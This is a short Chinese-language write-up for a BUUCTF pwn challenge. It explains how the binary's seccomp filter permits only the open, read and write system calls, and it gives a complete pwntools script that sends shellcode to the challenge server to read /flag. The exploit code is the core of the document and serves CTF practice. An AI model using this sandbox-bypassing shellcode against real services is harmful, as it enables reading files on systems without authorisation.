题目位于BUUCTF
main函数:
orw_seccomp函数:
prctl-seccomp: seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的syscall,但是当劫持程序流程之后通过 exeve 来执行 syscall 得到 shell 时 seccomp便派上了用场,可以过滤掉某些 syscall,只允许使用部分 syscall。
prctl两句函数的作用是
禁止程序提升权限,并且禁止除open、write、read函数外的系统调用使用
利用流程如下:
- 利用open系统调用打开flag文件
- read系统调用读取内容
- write函数打印内容
利用pwntools工具生成shellcode如下:
from pwn import *
p = remote("node4.buuoj.cn",28046)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
p.sendline(shellcode)
p.interactive()